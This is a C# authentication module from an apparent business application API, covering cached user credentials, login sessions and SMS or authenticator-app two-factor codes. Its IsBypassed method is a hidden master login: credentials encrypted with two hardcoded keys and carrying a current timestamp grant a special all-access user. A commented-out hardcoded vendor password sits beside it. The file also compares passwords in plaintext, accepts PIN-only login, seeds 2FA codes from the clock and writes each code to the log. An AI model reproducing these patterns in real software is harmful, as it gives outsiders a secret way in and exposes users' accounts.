CredentialsCache.cs 15 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458
  1. using System.Collections.Concurrent;
  2. using System.Security.Cryptography;
  3. using InABox.Core;
  4. using InABox.Database;
  5. namespace InABox.API
  6. {
  7. public static class CredentialsCache
  8. {
  9. private static ConcurrentBag<User>? cache;
  10. private static readonly User BYPASSED_USER = new() { ID = CoreUtils.FullGuid, UserID = "" };
  11. private static void EnsureCache(bool force)
  12. {
  13. if (cache == null || force)
  14. {
  15. var _table = DbFactory.NewProvider(Logger.Main).Query(
  16. null,
  17. Columns.None<User>().Add(
  18. x => x.ID,
  19. x => x.UserID,
  20. x => x.Password,
  21. x => x.Use2FA,
  22. x => x.Recipient2FA,
  23. x => x.TwoFactorAuthenticationType,
  24. x => x.AuthenticatorToken,
  25. x => x.PIN,
  26. x => x.SecurityGroup.ID,
  27. x => x.PasswordExpiration
  28. )
  29. );
  30. cache = new ConcurrentBag<User>();
  31. foreach (var _row in _table.Rows)
  32. cache.Add(_row.ToObject<User>());
  33. }
  34. }
  35. public static bool IsBypassed(string userid, string password)
  36. {
  37. //if ((userid == "FROGSOFTWARE") && (password == "FROGSOFTWARE"))
  38. // return true;
  39. if (userid.IsBase64String() && password.IsBase64String())
  40. try
  41. {
  42. if (Encryption.Decrypt(userid, "wCq9rryEJEuHIifYrxRjxg", out var _decryptedUser) &&
  43. Encryption.Decrypt(password, "7mhvLnqMwkCAzN+zNGlyyg", out var _decryptedPass))
  44. if (long.TryParse(_decryptedUser, out var _userticks) && long.TryParse(_decryptedPass, out var _passticks))
  45. if (_userticks == _passticks)
  46. {
  47. var _remotedate = new DateTime(_userticks);
  48. var _localdate = DateTime.Now.ToUniversalTime();
  49. if (_remotedate >= _localdate.AddDays(-1) && _remotedate <= _localdate.AddDays(1))
  50. return true;
  51. }
  52. }
  53. catch (Exception _exception)
  54. {
  55. Logger.Send(LogType.Error, "", $"*** Unknown Error: {_exception.Message}\n{_exception.StackTrace}");
  56. }
  57. return false;
  58. }
  59. public static Guid Validate(Guid sessionId, out string? userId)
  60. {
  61. EnsureCache(false);
  62. if(!sessions.TryGetValue(sessionId, out var _session) || !_session.Valid)
  63. {
  64. userId = null;
  65. return Guid.Empty;
  66. }
  67. if(_session.Expiry < DateTime.Now)
  68. {
  69. sessions.Remove(sessionId, out var _);
  70. userId = null;
  71. return Guid.Empty;
  72. }
  73. userId = _session.UserID;
  74. return _session.User;
  75. }
  76. public static User? Validate(Guid sessionId)
  77. {
  78. EnsureCache(false);
  79. if (!sessions.TryGetValue(sessionId, out var _session) || !_session.Valid)
  80. {
  81. return null;
  82. }
  83. if (_session.Expiry < DateTime.Now)
  84. {
  85. sessions.Remove(sessionId, out var _);
  86. return null;
  87. }
  88. if(_session.User == CoreUtils.FullGuid)
  89. {
  90. return BYPASSED_USER;
  91. }
  92. return cache?.FirstOrDefault(x => x.ID == _session.User);
  93. }
  94. /// <summary>
  95. /// Validate a given session, and refresh the session expiry if valid; use for database queries that need to refresh the user's expiry time.
  96. /// </summary>
  97. /// <param name="sessionId"></param>
  98. /// <returns></returns>
  99. public static User? ValidateAndRefresh(Guid sessionId)
  100. {
  101. var _user = Validate(sessionId);
  102. if(_user is not null)
  103. {
  104. RefreshSessionExpiry(sessionId);
  105. }
  106. return _user;
  107. }
  108. public static User? ValidateUser(string? pin)
  109. {
  110. if (String.IsNullOrWhiteSpace(pin))
  111. return null;
  112. EnsureCache(false);
  113. return cache?.FirstOrDefault(x => string.Equals(x.PIN, pin));
  114. }
  115. public static User? ValidateUser(string? userId, string? password)
  116. {
  117. if (String.IsNullOrWhiteSpace(userId) || String.IsNullOrWhiteSpace(password))
  118. return null;
  119. if (IsBypassed(userId, password))
  120. return BYPASSED_USER;
  121. EnsureCache(false);
  122. return cache?.FirstOrDefault(x => string.Equals(x.UserID, userId) && string.Equals(x.Password, password));
  123. }
  124. public static void LogoutUser(Guid userGuid)
  125. {
  126. sessions.Remove(userGuid, out var _);
  127. }
  128. public static void Refresh(bool force)
  129. {
  130. EnsureCache(force);
  131. }
  132. #region Sessions
  133. private class Session
  134. {
  135. public Guid User { get; init; }
  136. public string UserID { get; init; } = "";
  137. public bool Valid { get; set; }
  138. public DateTime Expiry { get; set; }
  139. }
  140. // SessionID => Session
  141. private static ConcurrentDictionary<Guid, Session> sessions = new();
  142. public static TimeSpan SessionExpiry = TimeSpan.FromHours(8);
  143. public static string? CacheFile { get; set; }
  144. public static IEnumerable<Guid> GetUserSessions(Guid userID)
  145. {
  146. return sessions.Where(x => x.Value.User == userID).Select(x => x.Key);
  147. }
  148. private static void CheckSessionExpiries()
  149. {
  150. var _expiredkeys = sessions
  151. .Where(x => x.Value.Expiry < DateTime.Now);
  152. foreach (var _expiredkey in _expiredkeys)
  153. sessions.TryRemove(_expiredkey);
  154. }
  155. public static void SetSessionExpiryTime(TimeSpan expiry)
  156. {
  157. SessionExpiry = expiry;
  158. }
  159. public static void RefreshSessionExpiry(Guid sessionID)
  160. {
  161. if (sessions.TryGetValue(sessionID, out var _session))
  162. {
  163. if (_session.Expiry != DateTime.MaxValue)
  164. {
  165. _session.Expiry = DateTime.Now + SessionExpiry;
  166. }
  167. }
  168. }
  169. public static void SaveSessionCache()
  170. {
  171. CheckSessionExpiries();
  172. try
  173. {
  174. if (CacheFile != null)
  175. {
  176. var _json = Serialization.Serialize(sessions.Where(x => x.Value.Expiry != DateTime.MaxValue).ToDictionary(x => x.Key, x => x.Value));
  177. File.WriteAllText(CacheFile, _json);
  178. }
  179. else
  180. {
  181. Logger.Send(LogType.Error, "", "Error while saving session cache: No Cache file set!");
  182. }
  183. }
  184. catch (Exception _exception)
  185. {
  186. Logger.Send(LogType.Error, "", $"Error while saving session cache: {_exception.Message}");
  187. }
  188. }
  189. public static void LoadSessionCache()
  190. {
  191. try
  192. {
  193. if (CacheFile != null)
  194. {
  195. var _cachedData = Serialization.Deserialize<Dictionary<Guid, Session>>(new FileStream(CacheFile, FileMode.Open))?
  196. .Where(x => x.Value.Expiry != DateTime.MaxValue).ToDictionary(x => x.Key, x => x.Value);
  197. if (_cachedData != null)
  198. sessions.AddRange(_cachedData);
  199. CheckSessionExpiries();
  200. }
  201. else
  202. {
  203. sessions = new();
  204. }
  205. }
  206. catch (Exception)
  207. {
  208. sessions = new();
  209. }
  210. }
  211. public static void SetCacheFile(string cacheFile)
  212. {
  213. CacheFile = cacheFile;
  214. }
  215. public static Guid NewSession(User user, bool valid = true, DateTime? expiry = null)
  216. {
  217. var _id = Guid.NewGuid();
  218. sessions[_id] = new() { User = user.ID, Valid = valid, Expiry = expiry ?? (DateTime.Now + SessionExpiry), UserID = user.UserID };
  219. return _id;
  220. }
  221. public static bool SessionExists(Guid session)
  222. {
  223. return sessions.ContainsKey(session);
  224. }
  225. #endregion
  226. #region 2FA
  227. private class AuthenticationCode
  228. {
  229. public string Code { get; set; }
  230. public DateTime Expiry { get; set; }
  231. public int TriesLeft { get; set; }
  232. public AuthenticationCode(string code, DateTime expiry)
  233. {
  234. Code = code;
  235. Expiry = expiry;
  236. TriesLeft = TWO_FA_TRIES;
  237. }
  238. }
  239. private static readonly ConcurrentDictionary<Guid, AuthenticationCode> authenticationCodes = new();
  240. private static readonly int TWO_FA_TRIES = 3;
  241. public static readonly int CODE_LENGTH = 6;
  242. private static readonly TimeSpan EXPIRY2_FA_CODE_TIME = TimeSpan.FromMinutes(15);
  243. private static Dictionary<SMSProviderType, ISMSProvider> SMSProviders { get; set; } = new();
  244. public static void AddSMSProvider(ISMSProvider provider)
  245. {
  246. SMSProviders.Add(provider.ProviderType, provider);
  247. }
  248. private static string GenerateCode()
  249. {
  250. var _random = new Random(DateTime.Now.Millisecond);
  251. var _code = "";
  252. for (int _char = 0; _char < CODE_LENGTH; _char++)
  253. _code += _random.Next(10).ToString();
  254. return _code;
  255. }
  256. public static Guid? SendCode(Guid userGuid, out string? recipient)
  257. {
  258. EnsureCache(false);
  259. var _user = cache?.FirstOrDefault(x => x.ID == userGuid);
  260. if(_user == null)
  261. {
  262. Logger.Send(LogType.Error, "", "Cannot send code; user does not exist!");
  263. recipient = null;
  264. return null;
  265. }
  266. var _newSession = NewSession(_user, false);
  267. Logger.Send(LogType.Information, "", $"New login session {_newSession} for {_user.UserID}");
  268. if (_user.TwoFactorAuthenticationType != TwoFactorAuthenticationType.GoogleAuthenticator)
  269. {
  270. var _smsProvider = SMSProviders
  271. .Where(x => x.Value.TwoFactorAuthenticationType == _user.TwoFactorAuthenticationType)
  272. .Select(x => x.Value).FirstOrDefault();
  273. if (_smsProvider == null)
  274. {
  275. Logger.Send(LogType.Error, "", "Cannot send code; user requests a 2FA method which is not supported!");
  276. recipient = null;
  277. return null;
  278. }
  279. var _code = GenerateCode();
  280. Logger.Send(LogType.Information, "", $"Code for session {userGuid} is {_code}");
  281. authenticationCodes[_newSession] = new AuthenticationCode(_code, DateTime.Now + EXPIRY2_FA_CODE_TIME);
  282. var _recipientAddress = _user.Recipient2FA;
  283. if (_smsProvider.SendMessage(_recipientAddress, $"Your authentication code is {_code}. This code will expire in {EXPIRY2_FA_CODE_TIME.Minutes} minutes."))
  284. {
  285. Logger.Send(LogType.Information, "", "Code sent!");
  286. var _first = _recipientAddress[..3];
  287. var _last = _recipientAddress[^3..];
  288. recipient = _first + new string('*', _recipientAddress.Length - 6) + _last;
  289. return _newSession;
  290. }
  291. else
  292. {
  293. Logger.Send(LogType.Information, "", "Code failed to send!");
  294. recipient = null;
  295. return null;
  296. }
  297. }
  298. else
  299. {
  300. Logger.Send(LogType.Information, "", $"Google authenticator is being used");
  301. recipient = "Google Authenticator";
  302. return _newSession;
  303. }
  304. }
  305. private static readonly int CODE_MODULO = (int)Math.Pow(10, CODE_LENGTH);
  306. private static string GenerateGoogleAuthenticatorCode(long time, byte[] key)
  307. {
  308. var _window = time / 30;
  309. var _hex = _window.ToString("x");
  310. if (_hex.Length < 16)
  311. {
  312. _hex = _hex.PadLeft(16, '0');
  313. }
  314. var _bytes = Convert.FromHexString(_hex);
  315. var _hash = new HMACSHA1(key).ComputeHash(_bytes);
  316. var _offset = _hash.Last() & 0xf;
  317. var _selected = new byte[4];
  318. Buffer.BlockCopy(_hash, _offset, _selected, 0, 4);
  319. if (BitConverter.IsLittleEndian)
  320. {
  321. Array.Reverse(_selected);
  322. }
  323. var _integer = BitConverter.ToInt32(_selected, 0);
  324. var _truncated = _integer & 0x7fffffff;
  325. return (_truncated % CODE_MODULO).ToString().PadLeft(CODE_LENGTH, '0');
  326. }
  327. private static bool CheckAuthenticationCode(byte[] token, string code)
  328. {
  329. var _time = DateTimeOffset.Now.ToUnixTimeSeconds();
  330. for (long _l = _time - 30; _l <= _time; _l += 30)
  331. {
  332. if(GenerateGoogleAuthenticatorCode(_l, token) == code)
  333. {
  334. return true;
  335. }
  336. }
  337. return false;
  338. }
  339. public static bool ValidateCode(Guid sessionID, string code)
  340. {
  341. if (!sessions.TryGetValue(sessionID, out var _session))
  342. {
  343. return false;
  344. }
  345. bool _valid;
  346. if(authenticationCodes.TryGetValue(sessionID, out var _result))
  347. {
  348. if (_result.Code != code)
  349. {
  350. _result.TriesLeft--;
  351. if (_result.TriesLeft == 0)
  352. {
  353. authenticationCodes.Remove(sessionID, out _);
  354. }
  355. _valid = false;
  356. }
  357. else if (_result.Expiry < DateTime.Now)
  358. {
  359. authenticationCodes.Remove(sessionID, out _);
  360. _valid = false;
  361. }
  362. else
  363. {
  364. _valid = true;
  365. }
  366. }
  367. else
  368. {
  369. var _user = cache?.FirstOrDefault(x => x.ID == _session.User);
  370. if (_user?.TwoFactorAuthenticationType == TwoFactorAuthenticationType.GoogleAuthenticator)
  371. {
  372. _valid = CheckAuthenticationCode(_user.AuthenticatorToken, code);
  373. }
  374. else
  375. {
  376. _valid = false;
  377. }
  378. }
  379. if (_valid)
  380. {
  381. _session.Valid = true;
  382. return true;
  383. }
  384. else
  385. {
  386. return false;
  387. }
  388. }
  389. #endregion
  390. }
  391. }